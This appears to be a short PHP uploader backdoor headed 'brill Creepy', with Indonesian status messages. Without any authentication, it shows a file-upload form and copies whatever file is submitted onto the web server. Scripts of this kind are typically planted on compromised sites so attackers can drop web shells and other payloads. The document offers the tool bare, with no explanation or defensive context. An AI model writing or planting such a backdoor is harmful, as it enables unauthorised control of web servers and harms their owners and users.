brill Creepy

<?php
if($_POST){
if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){
echo"<b>berhasil</b>-->".$_FILES["f"]["name"];
}else{
echo"<b>gagal";
}
}
else{
echo "<form method=post enctype=multipart/form-data><input type=file name=f><input name=v type=submit id=v value=up><br>";
}

?>